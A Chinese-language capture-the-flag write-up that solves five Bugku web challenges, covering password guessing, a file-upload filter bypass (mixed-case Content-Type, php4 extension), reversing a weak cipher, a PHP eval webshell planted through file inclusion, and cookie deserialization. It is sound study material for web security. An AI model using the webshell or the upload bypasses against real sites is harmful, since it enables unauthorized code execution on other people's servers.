0x01 web31
- 扫描得robots.txt,访问得resusl.php
- 关键代码:
if ($_GET[x]==$password) 此处省略1w字
- 这里被坑了,试了好久,还以为有啥其他新姿势,密码居然是admin!
- payload:
/resusl.php?x=admin
0x02 web32
没上传成功,看评论区才成功
payload:
①大写绕过请求头中的Content-Type: Multipart
②修改请求报文中的Content-Type: image/png
③修改 后缀名php4
原因:
上马后看他源代码
<?php
function global_filter(){
$type = $_SERVER["CONTENT_TYPE"];
if (strpos($type,"multipart/form-data") !== False){
//这就是为什么①需要大小写,如果不绕过,PHP4就不能通过
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);//截取后缀名并小写
if (stripos($file_ext,"php") !== False){//过滤PHP后缀名
die("Invalid File<br />");
}
}
}
?>
<?php
global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){//判断Content-Type中是否有image和文件大小
if ($_FILES["file"]["error"] == 0){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);//截取后缀名并小写
$allowexts = array('jpg','gif','jpeg','bmp','php4');//就很离谱,PHP4在白名单中
if(!in_array($file_ext,$allowexts)){//判断在不在白名单
die("give me a image file not a php");
}
$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;//重命名
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. <br />";
}
else{
if (!file_exists('./upload/')){
mkdir ("./upload/");
system("chmod 777 /var/www/html/upload");
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "Upload Success<br>";
$filepath = "upload/" . $_FILES["file"]["name"];
echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
}//保存至upload文件夹
}
}
else{
if($_FILES["file"]["size"] > 0){
echo "You was catched! :) <br />";
}
}
啊这,是我经验太少了,还是题的问题,感觉没源码做不出来,有无师傅指教
0x03 web33
考察逆加密
这道题卡了我好久,待多练思维
加密算法及分析:
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');//密钥key被固定
$x = 0;
$len = strlen($data);//解密的话,需要知道长度
$klen = strlen($key);
for ($i=0; $i < $len; $i++) { #如果小于data的长度,则继续
if ($x == $klen)//如果x的值等于klen就归零
{
$x = 0;
}
$char .= $key[$x];
#char是拼接key的值,也就是说如果data的长度不大于64则char等于key中的len个字符
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
/*
str等于ord data[i]+ ord char[i]=x x%128后chr
知道了解密后的data,故可知base64解密后的长度等于原data的长度
则只要解决模128即可【查看ASCII可知128后是扩展字符】
整理逻辑
1)ord endata[i]-ord char[i]=ord data[i]
2)ord endata[i]-ord char[i]+128=ord data[i]
因此当ord endata[i]<ord char[i]时需加128,否则不加
也可不进行正负判断:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)
*/
}
return base64_encode($str);
}
?>
解密算法:
<?php
function decrypt($data,$key)
{
$data=base64_decode($data);
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i = 0; $i < $len; $i++)
{
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x++;
}
for ($i = 0; $i < $len; $i++)
{
if (ord($data[$i]) < ord($char[$i]))
{
$str .= chr((ord($data[$i]) + 128) - ord($char[$i]));
}
else
{
$str .= chr(ord($data[$i]) - ord($char[$i]));
}
}
return $str;
}
?>
0x04 web34
- 发现文件包含,又在源代码中发现文件上传,猜测图片马
- 上传图片马,并进行文件包含后发现
<?php ?>
被删除 - 使用js绕过
<script language="php">
//phpinfo();
@eval($_REQUEST['yhy']);
</script>
成功连马,getFlag
0x05 web35
我感觉被提示坑了,把关注点放到登录表单中了
- 源代码中发现奇怪的CSS【admin.css】
- 打开发现提示
?13548
,访问得源代码 - 关键代码:
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['13548'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
- 传个序列化的字符串就OK了
- payload:
Cookie:BUGKU=s:13:"ctf.bugku.com";
后面的做完的人好少,要考试了,不去挑战了